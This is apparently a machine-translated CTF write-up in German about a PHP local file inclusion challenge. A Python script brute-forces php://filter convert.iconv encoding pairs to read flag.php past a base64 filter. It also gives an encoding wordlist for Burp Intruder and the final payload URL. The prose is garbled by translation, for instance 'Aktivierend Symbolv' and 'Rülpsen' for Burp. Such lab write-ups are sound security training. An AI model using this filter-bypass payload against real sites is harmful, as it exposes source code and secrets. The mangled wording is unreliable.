2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Offizielle Dokumentation des Konvertierungsfilters: https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv
Diese Frage wurde aufgrund von „convert.base64-encode“ herausgefiltert, daher wurde der Filter „convert.iconv.*“ verwendet.
Aktivierend Symbolv Sie können den Komprimierungsfilter „convert.iconv.*“ unter der Voraussetzung verwenden, was der Verwendung entsprichtSymbolv() Verarbeiten Sie alle Streaming-Daten. Dieser Filter unterstützt keine Parameter, aber der Name der Eingabe-/Ausgabekodierung kann zur Bildung des Filternamens verwendet werden, z. B. „convert.iconv“.<input-encoding> .<output-encoding> oder Convert.iconv.<input-encoding> /<output-encoding> (Die Semantik beider Schreibmethoden ist gleich).
Verwenden Sie direkt das Skript, um die entsprechende Codierung auszustrahlen:
- import requests
-
- in_encodings = ['UCS-4*', 'UCS-4BE', 'UCS-4LE*', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UTF-32*', 'UTF-32BE*', 'UTF-32LE*', 'UTF-16*', 'UTF-16BE*', 'UTF-16LE*', 'UTF-7', 'UTF7-IMAP', 'UTF-8*', 'ASCII*', 'EUC-JP*', 'SJIS*', 'eucJP-win*', 'SJIS-win*', 'ISO-2022-JP', 'ISO-2022-JP-MS', 'CP932', 'CP51932', 'SJIS-mac', 'SJIS-Mobile#DOCOMO', 'SJIS-Mobile#KDDI', 'SJIS-Mobile#SOFTBANK', 'UTF-8-Mobile#DOCOMO', 'UTF-8-Mobile#KDDI-A', 'UTF-8-Mobile#KDDI-B', 'UTF-8-Mobile#SOFTBANK', 'ISO-2022-JP-MOBILE#KDDI', 'JIS', 'JIS-ms', 'CP50220', 'CP50220raw', 'CP50221', 'CP50222', 'ISO-8859-1*', 'ISO-8859-2*', 'ISO-8859-3*', 'ISO-8859-4*', 'ISO-8859-5*', 'ISO-8859-6*', 'ISO-8859-7*', 'ISO-8859-8*', 'ISO-8859-9*', 'ISO-8859-10*', 'ISO-8859-13*', 'ISO-8859-14*', 'ISO-8859-15*', 'ISO-8859-16*', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'HTML-ENTITIES', '7bit', '8bit', 'EUC-CN*', 'CP936', 'GB18030', 'HZ', 'EUC-TW*', 'CP950', 'BIG-5*', "CP{949}", "CP{775}"]
-
- out_codings = in_encodings[:]
- for inenc in in_encodings:
- for outenc in out_codings:
- url = 'http://61.147.171.105:62135/?filename=php://filter/convert.iconv.{}.{}/resource=flag.php'.format(inenc,outenc)
- res = requests.get(url)
- if "flag" in res.text:
- print("inenc is:{},outenc is:{}".format(inenc,outenc))
- print(res.text)
Verwenden Sie dieses Wörterbuch zum Rülpsen
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac
- SJIS-Mobile#DOCOMO
- SJIS-Mobile#KDDI
- SJIS-Mobile#SOFTBANK
- UTF-8-Mobile#DOCOMO
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B
- UTF-8-Mobile#SOFTBANK
- ISO-2022-JP-MOBILE#KDDI
- JIS
- JIS-ms
- CP50220
- CP50220raw
- CP50221
- CP50222
- ISO-8859-1*
- ISO-8859-2*
- ISO-8859-3*
- ISO-8859-4*
- ISO-8859-5*
- ISO-8859-6*
- ISO-8859-7*
- ISO-8859-8*
- ISO-8859-9*
- ISO-8859-10*
- ISO-8859-13*
- ISO-8859-14*
- ISO-8859-15*
- ISO-8859-16*
- byte2be
- byte2le
- byte4be
- byte4le
- BASE64
- HTML-ENTITIES
- 7bit
- 8bit
- EUC-CN*
- CP936
- GB18030
- HZ
- EUC-TW*
- CP950
- BIG-5*
- EUC-KR*
- UHC
- ISO-2022-KR
- Windows-1251
- Windows-1252
- CP866
- KOI8-R*
- KOI8-U*
- ArmSCII-8
Wählen Sie den Streubombenmodus. Ich habe die Sprengung noch nicht abgeschlossen und sie ist einsatzbereit.
dirsearch hat eine flag.php gescannt, die Flagge sollte darin enthalten sein
Nutzlast konstruieren:
http://61.147.171.105:62135?filename=php://filter/convert.iconv.UTF-8*.UTF-32*/resource=flag.php